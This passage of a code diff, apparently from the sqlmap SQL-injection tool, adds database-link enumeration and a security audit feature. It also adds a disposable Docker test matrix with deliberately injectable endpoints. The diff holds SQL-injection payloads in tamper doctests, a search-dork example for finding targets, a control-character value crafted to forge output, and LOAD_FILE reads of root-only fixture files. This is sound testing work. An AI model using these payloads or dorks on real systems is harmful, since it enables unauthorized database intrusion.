kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList)
|
||||
kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList)
|
||||
else:
|
||||
parseSqliteTableSchema(unArrayizeValue(values))
|
||||
parseSqliteTableSchema(unArrayizeValue(values), tbl)
|
||||
|
||||
elif not isNoneValue(values):
|
||||
table = {}
|
||||
|
|
@ -811,13 +813,13 @@ class Databases(object):
|
|||
if dumpMode and colList:
|
||||
if conf.db not in kb.data.cachedColumns:
|
||||
kb.data.cachedColumns[conf.db] = {}
|
||||
kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList)
|
||||
kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList)
|
||||
else:
|
||||
query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl)
|
||||
value = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
||||
parseSqliteTableSchema(unArrayizeValue(value))
|
||||
parseSqliteTableSchema(unArrayizeValue(value), tbl)
|
||||
|
||||
return kb.data.cachedColumns
|
||||
continue
|
||||
|
||||
table = {}
|
||||
columns = {}
|
||||
|
|
@ -1056,7 +1058,7 @@ class Databases(object):
|
|||
query = agent.whereQuery(query)
|
||||
count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
||||
|
||||
if isNumPosStrValue(count):
|
||||
if isNumPosStrValue(count) or count in (0, "0"): # Note: including empty tables (i.e. 0 entries)
|
||||
if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts:
|
||||
kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {}
|
||||
|
||||
|
|
@ -1181,11 +1183,59 @@ class Databases(object):
|
|||
|
||||
return kb.data.cachedStatements
|
||||
|
||||
def getLinks(self):
|
||||
dbms = Backend.getIdentifiedDbms()
|
||||
if dbms not in queries or "links" not in queries[dbms]:
|
||||
logger.warning("enumeration of database links is not supported on %s" % dbms)
|
||||
return []
|
||||
|
||||
if kb.data.cachedLinks:
|
||||
return kb.data.cachedLinks
|
||||
|
||||
logger.info("fetching database links visible to the current user")
|
||||
rootQuery = queries[dbms].links
|
||||
|
||||
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
|
||||
values = inject.getValue(rootQuery.inband.query, blind=False, time=False)
|
||||
if not isNoneValue(values):
|
||||
for value in arrayizeValue(values):
|
||||
value = unArrayizeValue(value)
|
||||
if not isNoneValue(value):
|
||||
kb.data.cachedLinks.append(value.strip())
|
||||
|
||||
if not kb.data.cachedLinks and isInferenceAvailable() and not conf.direct:
|
||||
count = inject.getValue(rootQuery.blind.count, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
||||
if count in (0, "0"):
|
||||
return []
|
||||
elif not isNumPosStrValue(count):
|
||||
logger.warning("unable to retrieve the number of database links")
|
||||
return []
|
||||
|
||||
for index in getLimitRange(count):
|
||||
value = unArrayizeValue(inject.getValue(rootQuery.blind.query % index, union=False, error=False))
|
||||
if not isNoneValue(value):
|
||||
kb.data.cachedLinks.append(value.strip())
|
||||
|
||||
return kb.data.cachedLinks
|
||||
|
||||
def getAudit(self):
|
||||
from importlib import import_module
|
||||
from lib.core.settings import DBMS_DIRECTORY_DICT
|
||||
|
||||
dbms = Backend.getIdentifiedDbms()
|
||||
if dbms not in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE) or Backend.isFork(FORK.DUCKDB):
|
||||
logger.warning("security configuration audit is not supported on %s" % dbms)
|
||||
return []
|
||||
|
||||
module = import_module("plugins.dbms.%s.audit" % DBMS_DIRECTORY_DICT[dbms])
|
||||
return module.Audit().getAudit()
|
||||
|
||||
def getProcedures(self):
|
||||
infoMsg = "fetching stored procedures"
|
||||
logger.info(infoMsg)
|
||||
|
||||
rootQuery = queries[Backend.getIdentifiedDbms()].procedures
|
||||
dbms = Backend.getIdentifiedDbms()
|
||||
rootQuery = queries[dbms].procedures if dbms in queries and "procedures" in queries[dbms] else {}
|
||||
|
||||
# Generic-first by design: a DBMS is supported iff it declares a <procedures> query block in
|
||||
# queries.xml (INFORMATION_SCHEMA.ROUTINES / pg_proc / sys.sql_modules / ALL_SOURCE / RDB$PROCEDURES).
|
||||
|
|
|
|||
|
|
@ -279,7 +279,7 @@ class Search(object):
|
|||
foundTbls[db] = []
|
||||
else:
|
||||
dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird"
|
||||
foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = []
|
||||
foundTbls.setdefault("%s%s" % (dbName, METADB_SUFFIX), []) # Note: keeping matches of previous tables (e.g. -T users,nonexist)
|
||||
|
||||
for db in foundTbls:
|
||||
db = safeSQLIdentificatorNaming(db)
|
||||
|
|
|
|||
21
sqlmap.conf
21
sqlmap.conf
|
|
@ -12,10 +12,10 @@ url =
|
|||
# oracle://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_SID
|
||||
direct =
|
||||
|
||||
# Parse targets from Burp or WebScarab logs
|
||||
# Parse targets from Burp, WebScarab or HAR logs
|
||||
# Valid: Burp proxy (http://portswigger.net/suite/) requests log file path
|
||||
# or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
|
||||
# 'conversations/' folder path
|
||||
# 'conversations/' folder path or HAR (HTTP Archive) file path
|
||||
logFile =
|
||||
|
||||
# Scan multiple targets enlisted in a given textual file
|
||||
|
|
@ -25,8 +25,8 @@ bulkFile =
|
|||
# Example (file content): POST /login.jsp HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/4.0\n\nuserid=joe&password=guessme
|
||||
requestFile =
|
||||
|
||||
# Rather than providing a target URL, let Google return target
|
||||
# hosts as result of your Google dork expression. For a list of Google
|
||||
# Rather than providing a target URL, let the search engine return target
|
||||
# hosts as result of your dork expression. For a list of
|
||||
# dorks see Google Hacking Database at
|
||||
# https://www.exploit-db.com/google-hacking-database
|
||||
# Example: +ext:php +inurl:"&id=" +intext:"powered by "
|
||||
|
|
@ -544,6 +544,14 @@ getComments = False
|
|||
# Valid: True or False
|
||||
getStatements = False
|
||||
|
||||
# Enumerate database management system links and their destinations.
|
||||
# Valid: True or False
|
||||
getLinks = False
|
||||
|
||||
# Audit database security configuration and current-session capabilities.
|
||||
# Valid: True or False
|
||||
getAudit = False
|
||||
|
||||
# Back-end database management system database to enumerate.
|
||||
db =
|
||||
|
||||
|
|
@ -789,7 +797,7 @@ forms = False
|
|||
# Valid: True or False
|
||||
freshQueries = False
|
||||
|
||||
# Use Google dork results from specified page number.
|
||||
# Use dork results from specified page number.
|
||||
# Valid: integer
|
||||
# Default: 1
|
||||
googlePage = 1
|
||||
|
|
@ -805,6 +813,9 @@ outputDir =
|
|||
# Valid: True or False
|
||||
parseErrors = False
|
||||
|
||||
# Run a Python refresh() script returning replacement headers on HTTP 401.
|
||||
authRefresh =
|
||||
|
||||
# Use given script(s) for preprocessing of request.
|
||||
preprocess =
|
||||
|
||||
|
|
|
|||
|
|
@ -648,6 +648,9 @@ def main():
|
|||
except OSError:
|
||||
pass
|
||||
|
||||
# Note: --time-limit must not interrupt the final cleanup (e.g. session flush or HAR file writing)
|
||||
conf.timeLimit = None
|
||||
|
||||
if conf.get("hashDB"):
|
||||
conf.hashDB.flush()
|
||||
conf.hashDB.close() # NOTE: because of PyPy
|
||||
|
|
|
|||
|
|
@ -38,6 +38,10 @@ def tamper(payload, **kwargs):
|
|||
'1 AND A BETWEEN B AND B--'
|
||||
>>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()')
|
||||
'1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()'
|
||||
>>> tamper('1 AND 2314=BENCHMARK(5000000,MD5(0x41))')
|
||||
'1 AND 2314=BENCHMARK(5000000,MD5(0x41))'
|
||||
>>> tamper('CASE WHEN 1=2 THEN id ELSE 0 END')
|
||||
'CASE WHEN 1 BETWEEN 2 AND 2 THEN id ELSE 0 END'
|
||||
"""
|
||||
|
||||
retVal = payload
|
||||
|
|
@ -54,8 +58,11 @@ def tamper(payload, **kwargs):
|
|||
if retVal == payload:
|
||||
match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*(?<![<>!])=(?!=)\s*([\w()]+)\s*", payload) # Note: avoiding compound operators (e.g. >=, !=)
|
||||
|
||||
if match:
|
||||
if match and match.group(5).count('(') == match.group(5).count(')'): # Note: e.g. 'BENCHMARK(5000000,MD5(..))' can't be cut at its comma
|
||||
_ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5))
|
||||
retVal = retVal.replace(match.group(0), _)
|
||||
|
||||
# e.g. CASE WHEN 1=1 THEN ... (expression-position payloads with no AND/OR to anchor on)
|
||||
retVal = re.sub(r"(?i)(\bWHEN\s+)([\w.]+)\s*(?<![<>!])=(?!=)\s*([\w.]+)(?=\s)", r"\g<1>\g<2> BETWEEN \g<3> AND \g<3>", retVal)
|
||||
|
||||
return retVal
|
||||
|
|
|
|||
5
tests/integration/audit/Dockerfile
Normal file
5
tests/integration/audit/Dockerfile
Normal file
|
|
@ -0,0 +1,5 @@
|
|||
FROM python:3.12-slim
|
||||
RUN pip install --no-cache-dir flask==3.1.3 pymysql==1.2.3 'psycopg[binary]==3.3.6' python-tds==1.17.1 oracledb==26.0.1
|
||||
WORKDIR /lab
|
||||
COPY server.py db.py seed.py probe.py /lab/
|
||||
CMD ["python", "/lab/server.py"]
|
||||
42
tests/integration/audit/README.md
Normal file
42
tests/integration/audit/README.md
Normal file
|
|
@ -0,0 +1,42 @@
|
|||
# Disposable security audit matrix
|
||||
|
||||
Run from the repository root on a local Docker host:
|
||||
|
||||
```sh
|
||||
python3 tests/integration/audit/run.py
|
||||
```
|
||||
|
||||
Requires Python 3, Docker Compose, Internet access for images and roughly 12 GB
|
||||
available memory. The SQL Server image requires an x86-64 host. Oracle image
|
||||
support also depends on host architecture and page size. Application drivers are
|
||||
installed only inside the fixture image; sqlmap gains no dependencies.
|
||||
|
||||
The runner creates an isolated `sqlmap-audit-<pid>` Compose project. Database ports
|
||||
are internal; deliberately injectable HTTP endpoints bind to random localhost
|
||||
ports. Credentials are synthetic and fixed for these disposable databases. The
|
||||
runner does not access the remote sqlmap testbed or existing database services.
|
||||
It removes its own containers, networks and volumes on completion, including a
|
||||
failed assertion. `--keep` retains them for investigation; remove the retained
|
||||
project with `docker compose -p <project> -f tests/integration/audit/compose.yml down --volumes`.
|
||||
|
||||
The matrix covers MySQL 8, MariaDB 10.11, PostgreSQL 16, SQL Server 2022 and
|
||||
Oracle Free 23, with administrator, application and restricted accounts. Two
|
||||
additional MySQL instances exercise unrestricted and disabled file operations.
|
||||
It compares native metadata results with real UNION SQLi for every account and
|
||||
boolean blind SQLi for each engine's application account, using five threads.
|
||||
Variable listings retain total counts and show at most 20 details. Additional
|
||||
scenarios cover oversized listings, escaped control characters, confirmed empty
|
||||
queries, RLS enforcement and command advice with and without stacked execution.
|
||||
It also checks that audits leave configuration unchanged, that revoking grants
|
||||
and changing settings changes the result, and that database root with FILE
|
||||
privilege still cannot read a root-only fixture file. Filesystem probes and
|
||||
configuration changes belong to the fixture provisioner; `--audit` performs
|
||||
metadata reads only.
|
||||
|
||||
Use `--native-only` for database queries and permission/configuration/filesystem
|
||||
checks without the HTTP scans. Logs and native reference results go to a printed
|
||||
temporary directory. For a previously seeded retained project:
|
||||
|
||||
```sh
|
||||
python3 tests/integration/audit/run.py --project sqlmap-audit-<id> --reuse --keep
|
||||
```
|
||||
82
tests/integration/audit/compose.yml
Normal file
82
tests/integration/audit/compose.yml
Normal file
|
|
@ -0,0 +1,82 @@
|
|||
services:
|
||||
mysql:
|
||||
image: mysql:8.0
|
||||
environment:
|
||||
MYSQL_ROOT_PASSWORD: AuditOnly!2026
|
||||
MYSQL_ROOT_HOST: '%'
|
||||
MYSQL_DATABASE: auditlab
|
||||
command: ['--secure-file-priv=/var/lib/mysql-files', '--local-infile=OFF']
|
||||
mem_limit: 1g
|
||||
mariadb:
|
||||
image: mariadb:10.11
|
||||
environment:
|
||||
MARIADB_ROOT_PASSWORD: AuditOnly!2026
|
||||
MARIADB_ROOT_HOST: '%'
|
||||
MARIADB_DATABASE: auditlab
|
||||
command: ['--secure-file-priv=', '--local-infile=ON']
|
||||
mem_limit: 1g
|
||||
postgres:
|
||||
image: postgres:16-alpine
|
||||
environment:
|
||||
POSTGRES_PASSWORD: AuditOnly!2026
|
||||
POSTGRES_DB: auditlab
|
||||
mem_limit: 1g
|
||||
mssql:
|
||||
image: mcr.microsoft.com/mssql/server:2022-latest
|
||||
environment:
|
||||
ACCEPT_EULA: Y
|
||||
MSSQL_PID: Developer
|
||||
MSSQL_SA_PASSWORD: AuditOnly!2026
|
||||
mem_limit: 2g
|
||||
oracle:
|
||||
image: gvenzl/oracle-free:23.26.0-slim-faststart
|
||||
environment:
|
||||
ORACLE_PASSWORD: AuditOnly!2026
|
||||
APP_USER: audit_owner
|
||||
APP_USER_PASSWORD: AuditOnly!2026
|
||||
mem_limit: 4g
|
||||
web-mysql:
|
||||
build: .
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: mysql}
|
||||
ports: ['127.0.0.1::8080']
|
||||
web-mariadb:
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: mariadb}
|
||||
ports: ['127.0.0.1::8080']
|
||||
web-postgres:
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: postgres}
|
||||
ports: ['127.0.0.1::8080']
|
||||
web-mssql:
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: mssql}
|
||||
ports: ['127.0.0.1::8080']
|
||||
web-oracle:
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: oracle}
|
||||
ports: ['127.0.0.1::8080']
|
||||
mysql-open:
|
||||
image: mysql:8.0
|
||||
environment:
|
||||
MYSQL_ROOT_PASSWORD: AuditOnly!2026
|
||||
MYSQL_ROOT_HOST: '%'
|
||||
MYSQL_DATABASE: auditlab
|
||||
command: ['--secure-file-priv=', '--local-infile=ON']
|
||||
mem_limit: 1g
|
||||
mysql-disabled:
|
||||
image: mysql:8.0
|
||||
environment:
|
||||
MYSQL_ROOT_PASSWORD: AuditOnly!2026
|
||||
MYSQL_ROOT_HOST: '%'
|
||||
MYSQL_DATABASE: auditlab
|
||||
command: ['--secure-file-priv=NULL', '--local-infile=OFF']
|
||||
mem_limit: 1g
|
||||
web-mysql-open:
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: mysql, DB_HOST: mysql-open}
|
||||
ports: ['127.0.0.1::8080']
|
||||
web-mysql-disabled:
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: mysql, DB_HOST: mysql-disabled}
|
||||
ports: ['127.0.0.1::8080']
|
||||
27
tests/integration/audit/db.py
Normal file
27
tests/integration/audit/db.py
Normal file
|
|
@ -0,0 +1,27 @@
|
|||
import os
|
||||
import threading
|
||||
|
||||
engine = os.environ['ENGINE']
|
||||
password = 'AuditOnly!2026'
|
||||
host = os.environ.get('DB_HOST', engine)
|
||||
pools = {}
|
||||
poolLock = threading.Lock()
|
||||
|
||||
|
||||
def connect(account, pooled=False):
|
||||
if engine in ('mysql', 'mariadb'):
|
||||
import pymysql
|
||||
return pymysql.connect(host=host, user=account, password=password, database='auditlab', autocommit=True)
|
||||
if engine == 'postgres':
|
||||
import psycopg
|
||||
return psycopg.connect(host=host, user=account, password=password, dbname='auditlab', autocommit=True)
|
||||
if engine == 'mssql':
|
||||
import pytds
|
||||
return pytds.connect(host, user=account, password=password, database='master', autocommit=True)
|
||||
import oracledb
|
||||
if pooled:
|
||||
with poolLock:
|
||||
if account not in pools:
|
||||
pools[account] = oracledb.create_pool(user=account, password=password, dsn=host+'/FREEPDB1', min=1, max=10, increment=1)
|
||||
return pools[account].acquire()
|
||||
return oracledb.connect(user=account, password=password, dsn=host+'/FREEPDB1', mode=oracledb.AUTH_MODE_SYSDBA if account == 'sys' else oracledb.AUTH_MODE_DEFAULT)
|
||||
12
tests/integration/audit/probe.py
Normal file
12
tests/integration/audit/probe.py
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
#!/usr/bin/env python
|
||||
"""Execute fixture SQL over a real DB-API connection for ground-truth checks."""
|
||||
import json
|
||||
import sys
|
||||
from db import connect
|
||||
conn = connect(sys.argv[1])
|
||||
try:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(sys.stdin.read())
|
||||
print(json.dumps(cursor.fetchall() if cursor.description else [], default=str))
|
||||
finally:
|
||||
conn.close()
|
||||
268
tests/integration/audit/run.py
Normal file
268
tests/integration/audit/run.py
Normal file
|
|
@ -0,0 +1,268 @@
|
|||
#!/usr/bin/env python3
|
||||
"""Opt-in Docker audit matrix. Runtime sqlmap itself acquires metadata only.
|
||||
|
||||
This fixture provisioner deliberately changes settings, grants and synthetic files inside
|
||||
its own disposable containers, then verifies the audit over native SQL and real SQLi.
|
||||
"""
|
||||
from __future__ import print_function
|
||||
|
||||
import argparse
|
||||
import concurrent.futures
|
||||
import json
|
||||
import os
|
||||
from pathlib import Path
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
|
||||
ROOT = Path(__file__).resolve().parents[3]
|
||||
LAB = Path(__file__).resolve().parent
|
||||
sys.path.insert(0, str(ROOT))
|
||||
sys.path.insert(0, str(ROOT / 'tests'))
|
||||
from _testutils import bootstrap, set_dbms
|
||||
bootstrap()
|
||||
from lib.core.enums import DBMS, FORK, EXPECTED
|
||||
from lib.core.common import Backend, getSQLSnippet, unArrayizeValue
|
||||
from lib.core.data import conf
|
||||
from lib.core.settings import AUDIT_MAX_ROWS
|
||||
from lib.request import inject
|
||||
from plugins.generic.databases import Databases
|
||||
|
||||
ENGINES = {'mysql': (DBMS.MYSQL, 'root'), 'mariadb': (DBMS.MYSQL, 'root'),
|
||||
'postgres': (DBMS.PGSQL, 'postgres'), 'mssql': (DBMS.MSSQL, 'sa'),
|
||||
'oracle': (DBMS.ORACLE, 'audit_owner'),
|
||||
'mysql-open': (DBMS.MYSQL, 'root'), 'mysql-disabled': (DBMS.MYSQL, 'root')}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument('--project', default='sqlmap-audit-%d' % os.getpid())
|
||||
parser.add_argument('--reuse', action='store_true', help='Use an already seeded audit project')
|
||||
parser.add_argument('--keep', action='store_true', help='Keep this disposable project for debugging')
|
||||
parser.add_argument('--native-only', action='store_true', help='Skip the HTTP SQLi matrix')
|
||||
args = parser.parse_args()
|
||||
if not re.match(r'^sqlmap-audit-[a-z0-9-]+$', args.project):
|
||||
parser.error('project must have the sqlmap-audit- prefix')
|
||||
compose = ['docker', 'compose', '-p', args.project, '-f', str(LAB / 'compose.yml')]
|
||||
logs = Path(tempfile.mkdtemp(prefix='sqlmap-audit-matrix-'))
|
||||
print('Logs: %s' % logs, flush=True)
|
||||
|
||||
def command(argv, data=None, check=True, timeout=240):
|
||||
result = subprocess.run(argv, input=data, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
|
||||
text=True, timeout=timeout)
|
||||
if check and result.returncode:
|
||||
raise AssertionError('%s\n%s\n%s' % (' '.join(argv), result.stdout, result.stderr))
|
||||
return result
|
||||
|
||||
def sql(engine, account, query, check=True):
|
||||
result = command(compose + ['exec', '-T', 'web-' + engine, 'python', '/lab/probe.py', account], query, check)
|
||||
return json.loads(result.stdout) if result.returncode == 0 else None
|
||||
|
||||
def native(engine, account, statement=False):
|
||||
dbms = ENGINES[engine][0]
|
||||
set_dbms(dbms)
|
||||
# MariaDB is a MySQL plugin fork; native probes don't run the normal fingerprint.
|
||||
original_fork = Backend.isFork
|
||||
Backend.isFork = staticmethod(lambda fork: engine == 'mariadb' and fork == FORK.MARIADB)
|
||||
original_direct = conf.direct
|
||||
conf.direct = statement
|
||||
original = inject.getValue
|
||||
calls = []
|
||||
def getValue(query, **kwargs):
|
||||
assert query.startswith('SELECT ')
|
||||
calls.append(query)
|
||||
rows = sql(engine, account, query, check=False)
|
||||
return unArrayizeValue(rows) if kwargs.get("expected") == EXPECTED.INT else rows
|
||||
inject.getValue = getValue
|
||||
try:
|
||||
result = Databases().getAudit()
|
||||
assert calls
|
||||
assert not any(line.startswith('OS boundary:') for line in result)
|
||||
return sorted(set(result))
|
||||
finally:
|
||||
conf.direct = original_direct
|
||||
inject.getValue = original
|
||||
Backend.isFork = staticmethod(original_fork)
|
||||
|
||||
def scan(engine, account, technique, expected):
|
||||
address = command(compose + ['port', 'web-' + engine, '8080']).stdout.strip()
|
||||
url = 'http://%s/%s/get_int?id=1' % (address, account)
|
||||
label = '%s-%s-%s' % (engine, account, technique)
|
||||
cmd = [sys.executable, str(ROOT / 'sqlmap.py'), '-u', url,
|
||||
'--dbms=' + ENGINES[engine][0], '--batch', '--technique=' + technique,
|
||||
'--threads=5', '--audit', '--skip-waf', '--disable-precon', '--flush-session',
|
||||
'--output-dir=' + str(logs / label)]
|
||||
result = command(cmd, check=False, timeout=900)
|
||||
(logs / (label + '.log')).write_text(result.stdout + result.stderr)
|
||||
assert result.returncode == 0, label
|
||||
audit_output = re.search(r'^database security audit[^\n]*\n((?:\[\*\] [^\n]*\n)+)', result.stdout, re.M)
|
||||
assert audit_output, label
|
||||
actual = sorted(set(re.findall(r'^\[\*\] (.*)$', audit_output.group(1), re.M)))
|
||||
assert actual == expected, '%s: missing=%r extra=%r' % (label, sorted(set(expected)-set(actual)), sorted(set(actual)-set(expected)))
|
||||
print('SQLi %s PASS' % label, flush=True)
|
||||
|
||||
try:
|
||||
if not args.reuse:
|
||||
command(compose + ['build', 'web-mysql'])
|
||||
command(compose + ['up', '-d'])
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=7) as pool:
|
||||
futures = [pool.submit(command, compose + ['exec', '-T', 'web-' + engine, 'python', '/lab/seed.py']) for engine in ENGINES]
|
||||
for future in futures:
|
||||
future.result()
|
||||
expected = {}
|
||||
for engine, (dbms, admin) in ENGINES.items():
|
||||
for alias, account in (('admin', admin), ('app', 'audit_app'), ('limited', 'audit_limited')):
|
||||
snapshot_query = getSQLSnippet(dbms, 'audit_configuration_mariadb' if engine == 'mariadb' else 'audit_configuration', LIMIT=str(AUDIT_MAX_ROWS))
|
||||
before = sql(engine, admin, snapshot_query) if alias == 'admin' else None
|
||||
result = native(engine, account)
|
||||
if alias == 'admin':
|
||||
assert sql(engine, admin, snapshot_query) == before, 'audit changed configuration'
|
||||
expected[engine, alias] = result
|
||||
(logs / ('%s-%s-native.json' % (engine, alias))).write_text(json.dumps(result, indent=2))
|
||||
assert any('/ effective account:' in line or '/ effective login:' in line for line in result)
|
||||
if alias == 'admin':
|
||||
assert not any(re.match(r'^(identity|configuration|privileges|file access): retrieval failed', line) for line in result), (engine,result)
|
||||
if engine == 'postgres' and alias == 'app':
|
||||
assert 'privileges / pg_read_server_files: yes' in result
|
||||
assert 'privileges / pg_execute_server_program: no' in result
|
||||
if engine == 'mssql' and alias == 'limited':
|
||||
assert 'configuration: SELECT permission missing on master.sys.configurations' in result
|
||||
assert 'linked servers: SELECT permission missing on master.sys.servers' in result
|
||||
if engine == 'oracle' and alias == 'app':
|
||||
assert any('AUDIT_FILES [READ]' in line for line in result)
|
||||
if engine == 'oracle' and alias == 'limited':
|
||||
assert 'directory grants / visible directory grants: 0' in result
|
||||
assert any(line.startswith('configuration: retrieval failed') for line in result)
|
||||
print('Native %s/%s PASS' % (engine,alias), flush=True)
|
||||
|
||||
# Database root with FILE still cannot read files denied to the service OS user.
|
||||
for engine in ('mysql', 'mariadb', 'mysql-open', 'mysql-disabled'):
|
||||
container = command(compose + ['ps', '-q', engine]).stdout.strip()
|
||||
command(['docker','exec','-u','0',container,'sh','-c',
|
||||
'mkdir -p /var/lib/mysql-files; printf AUDIT_READABLE > /var/lib/mysql-files/readable.txt; '
|
||||
'printf AUDIT_PRIVATE > /var/lib/mysql-files/root-only.txt; '
|
||||
'printf AUDIT_OUTSIDE > /tmp/audit-outside.txt; '
|
||||
'chmod 644 /var/lib/mysql-files/readable.txt /tmp/audit-outside.txt; '
|
||||
'chmod 600 /var/lib/mysql-files/root-only.txt'])
|
||||
readable = sql(engine, 'root', "SELECT LOAD_FILE('/var/lib/mysql-files/readable.txt')")[0][0]
|
||||
private = sql(engine, 'root', "SELECT LOAD_FILE('/var/lib/mysql-files/root-only.txt')")[0][0]
|
||||
outside = sql(engine, 'root', "SELECT LOAD_FILE('/tmp/audit-outside.txt')")[0][0]
|
||||
assert private is None
|
||||
assert command(['docker','exec','-u','mysql',container,'test','-r','/var/lib/mysql-files/root-only.txt'],check=False).returncode != 0
|
||||
if engine == 'mysql-disabled':
|
||||
assert readable is None and outside is None
|
||||
assert any(line in expected[engine,'admin'] for line in ('file access / secure_file_priv: <NULL>', 'file access / secure_file_priv: NULL'))
|
||||
assert any('secure_file_priv=NULL blocks' in line for line in expected[engine,'admin'])
|
||||
elif engine == 'mysql':
|
||||
assert readable is not None and outside is None
|
||||
else:
|
||||
assert readable is not None and outside is not None
|
||||
assert ('file access / secure_file_priv: <NULL>' if engine == 'mariadb' else 'file access / secure_file_priv: <empty>') in expected[engine,'admin']
|
||||
assert any('no directory restriction' in line for line in expected[engine,'admin'])
|
||||
assert not any('OS boundary:' in line for line in expected[engine,'admin'])
|
||||
print('Filesystem boundary %s PASS' % engine, flush=True)
|
||||
|
||||
# Changes are made by this fixture provisioner, never by --audit.
|
||||
sql('postgres','postgres','REVOKE pg_read_server_files FROM audit_app')
|
||||
changed = native('postgres','audit_app')
|
||||
assert 'privileges / pg_read_server_files: no' in changed
|
||||
sql('postgres','postgres','GRANT pg_read_server_files TO audit_app')
|
||||
sql('mssql','sa',"EXEC sp_configure 'clr enabled',0; RECONFIGURE")
|
||||
assert 'configuration / clr enabled: disabled' in native('mssql','audit_app')
|
||||
sql('mssql','sa',"EXEC sp_configure 'clr enabled',1; RECONFIGURE")
|
||||
sql('oracle','sys','REVOKE SELECT ON sys.v_$parameter FROM audit_app')
|
||||
assert any(line.startswith('configuration: retrieval failed') for line in native('oracle','audit_app'))
|
||||
sql('oracle','sys','GRANT SELECT ON sys.v_$parameter TO audit_app')
|
||||
print('Grant/configuration changes reflected by audit PASS', flush=True)
|
||||
|
||||
# A successful zero-row SELECT must not be reported as a failed query.
|
||||
from plugins.generic import audit as auditModule
|
||||
original_snippet = auditModule.getSQLSnippet
|
||||
auditModule.getSQLSnippet = lambda *args, **kwargs: "SELECT audit_key,audit_value FROM (SELECT 'empty' AS audit_key,'Vempty' AS audit_value) audit_rows WHERE 1=0"
|
||||
try:
|
||||
assert native('mysql','root') == ['configuration: no entries', 'file access: no entries', 'identity: no entries', 'privileges: no entries']
|
||||
finally:
|
||||
auditModule.getSQLSnippet = original_snippet
|
||||
print('Confirmed empty metadata query PASS', flush=True)
|
||||
|
||||
# Independent semantics: row_security=off must fail, not bypass a policy.
|
||||
sql('postgres','postgres', 'CREATE TABLE audit_rls (id INT)')
|
||||
sql('postgres','postgres', 'INSERT INTO audit_rls VALUES (1),(2)')
|
||||
sql('postgres','postgres', 'GRANT SELECT ON audit_rls TO audit_app')
|
||||
sql('postgres','postgres', 'ALTER TABLE audit_rls ENABLE ROW LEVEL SECURITY')
|
||||
sql('postgres','postgres', 'CREATE POLICY audit_policy ON audit_rls USING (id=1)')
|
||||
assert sql('postgres','audit_app','SELECT * FROM audit_rls',check=False) is None
|
||||
assert not any('bypasses row-level security' in line for line in native('postgres','audit_app'))
|
||||
sql('postgres','postgres','ALTER ROLE audit_app BYPASSRLS')
|
||||
assert sql('postgres','audit_app','SELECT COUNT(*) FROM audit_rls')[0][0] == 2
|
||||
assert any('bypasses row-level security' in line for line in native('postgres','audit_app'))
|
||||
sql('postgres','postgres','ALTER ROLE audit_app NOBYPASSRLS')
|
||||
sql('postgres','postgres','DROP TABLE audit_rls')
|
||||
|
||||
sql('postgres','postgres','GRANT pg_execute_server_program TO audit_app')
|
||||
no_route = native('postgres','audit_app')
|
||||
assert any('COPY FROM PROGRAM privilege granted; no statement execution route identified' in line for line in no_route)
|
||||
assert not any('--os-cmd' in line for line in no_route)
|
||||
with_route = native('postgres','audit_app', statement=True)
|
||||
assert any('COPY FROM PROGRAM privilege granted; use --os-cmd' in line for line in with_route)
|
||||
if not args.native_only:
|
||||
scan('postgres','app','U',no_route)
|
||||
scan('postgres','app','BS',with_route)
|
||||
sql('postgres','postgres','REVOKE pg_execute_server_program FROM audit_app')
|
||||
print('Independent RLS and execution-route scenarios PASS', flush=True)
|
||||
|
||||
# The fixture creates real metadata beyond the limit and verifies exact totals.
|
||||
for index in range(AUDIT_MAX_ROWS + 5):
|
||||
sql('mssql','sa', "EXEC sp_addlinkedserver @server=N'audit_bound_%02d',@srvproduct=N'',@provider=N'MSOLEDBSQL',@datasrc=N'bound.invalid'" % index)
|
||||
hostile = "audit_control\n[*] forged\r\x1b[2J"
|
||||
sql('mssql','sa', "EXEC sp_addlinkedserver @server=N'%s',@srvproduct=N'',@provider=N'MSOLEDBSQL',@datasrc=N'control.invalid'" % hostile)
|
||||
bounded = native('mssql','sa')
|
||||
